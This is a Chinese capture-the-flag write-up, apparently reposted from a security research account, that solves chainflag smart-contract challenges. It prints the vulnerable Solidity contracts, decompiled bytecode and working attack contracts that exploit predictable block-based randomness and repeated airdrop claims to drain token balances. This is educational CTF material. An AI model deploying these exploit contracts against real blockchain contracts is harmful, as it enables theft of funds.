vanish@ubuntu:~$ nc chall.chainflag.org 10022
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x9f092653793cBd0c696630DFE582853Ced410bd8
[+] token: v4.local.1OHGXufG9C20XCMt2nGR63pC9obpTR9XD5wgOQFfWli9fpDtE1ZF6IdOqDxGdjF4e7kGEiS0mSZHdn1PFA1h88Wa_Kudo25-6_iUBV73mC9cFJ28YjWYkmk-wWlr0tL0OU4D-8p_mUVfRulafzcjqZLJQEvwnR1ihKkGoJcZdO_XBg
[+] please transfer 0.00286 test ether to the deployer account for next step
[root@VM-0-7-centos ~]# nc chall.chainflag.org 10022
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.1OHGXufG9C20XCMt2nGR63pC9obpTR9XD5wgOQFfWli9fpDtE1ZF6IdOqDxGdjF4e7kGEiS0mSZHdn1PFA1h88Wa_Kudo25-6_iUBV73mC9cFJ28YjWYkmk-wWlr0tL0OU4D-8p_mUVfRulafzcjqZLJQEvwnR1ihKkGoJcZdO_XBg
[+] contract address: 0x6866A2E1637a506DE75F2bB079872D5243A91312
[+] transaction hash: 0xd8671eb17ddd01265db344891636435f1d1c8c44e9bbbd684adad09c60371e1e
vanish@ubuntu:~$ nc chall.chainflag.org 10022
We design a pretty easy contract challenge. Enjoy it!
Your goal is to make isSolved() function returns true!
[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 4
Example.sol
pragma solidity 0.8.7;
contract Greeter {
string greeting;
constructor(string memory _greeting) public {
greeting = _greeting;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) public {
greeting = _greeting;
}
function isSolved() public view returns (bool) {
string memory expected = "HelloChainFlag";
return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
}
}
这时Metamask会弹出交易的确认请求,我们确认即可。
bad randomness |
在区块链中,区块的任何东西都是可知的,从而依赖区块信息生成的随机数我们也是可以预测。
/**
*Submitted for verification at Etherscan.io on 2018-11-26
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";
uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}
function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
contract pwn{
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
mapping(address => uint256) public bet_count;
uint flag;
EOSGame eos = EOSGame(0x804d8b0f43c57b5ba940c1d1132d03f1da83631f);
function init(){
eos.initFund();
bet_count[0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B]+=1;
}
function hack(){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
for(int i = 0;i<20;i++){
flag = eos.eosBlanceOf();
if(flag > 18888) {
break;
}
bet_count[0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B]+=1; // 同步一下bet_count
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.bigBlind();
}else{
eos.smallBlind();
}
}
}
}
airdrop hunting |
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
contract hack {
address instance_address = 0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8;
P_Bank target = P_Bank(instance_address);
function getflag(string b64email) public {
target.CaptureTheFlag(b64email);
}
function geteth(){
for(uint i=0;i<501;i++){
target.Ap();
target.Transfer(0x5bE571f66D2f98eFf8EB270475375f2D34d47B0B,1 ether);
}
}
}
/**
*Submitted for verification at Etherscan.io on 2018-11-27
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract WinnerList{
address owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
(seed - ((seed / 1000) * 1000)) < 288
的条件就行。那这个没什么办法,里面用到了区块的信息,我们没法保证自己的交易会在哪一个区块确认,所以就摁撞就好了。不过,这题给的源码有问题!WinnerList有隐藏机制(怪不得叫fake)contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 != 0x03b6eb88) { revert(memory[0x00:0x00]); }
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0091;
var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var var3 = msg.data[0x24:0x44];
func_0093(var2, var3);
stop();
}
function func_0093(var arg0, var arg1) {
var var0 = 0x00;
storage[var0] = (arg0 & 0xffffffffffffffffffffffffffffffffffffffff) | (storage[var0] & ~0xffffffffffffffffffffffffffffffffffffffff);
storage[var0 + 0x01] = arg1;
var var1 = ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0x0100000000000000000000000000000000000000000000000000000000000000 * 0xb1;
var var2 = tx.origin * 0x01000000000000000000000000;
var var3 = 0x12;
if (var3 >= 0x14) { assert(); }
var temp0 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
var1 = temp0;
if (!var1) {
label_023F:
if (!var1) { return; }
else { revert(memory[0x00:0x00]); }
} else {
var1 = ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0x0100000000000000000000000000000000000000000000000000000000000000 * 0x43;
var2 = tx.origin * 0x01000000000000000000000000;
var3 = 0x13;
if (var3 >= 0x14) { assert(); }
var1 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
goto label_023F;
}
}
}
if (!var1) { return; }
猜测一下是需要var1 = 0,var1 的值有两个地方var temp0 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
var1 = byte(var2, var3) * 0x0100000000000000000000000000000000000000000000000000000000000000 & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff != var1;
var2 = tx.origin; var3 = 0x12; byte(var2, var3) = 0xb1 ;
var2 = tx.origin; var3 = 0x13; byte(var2, var3) = 0x43;
contract pwn {
using SafeMath for *;
Fake3D mime = Fake3D(0x4082cc8839242ff5ee9c67f6d05c4e497f63361a);
constructor() public payable {
for (uint16 i = 0; i < 900; i++) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
mime.airDrop();
}else{
revert();
}
}
}
function transfer() public{
mime.transfer(0x8fE935c6496CAFF3CDD3dDACA972BE6f882b9443,9000);
}
}
原文始发于微信公众号(山石网科安全技术研究院):区块链安全题目分析 之 chainflag(一)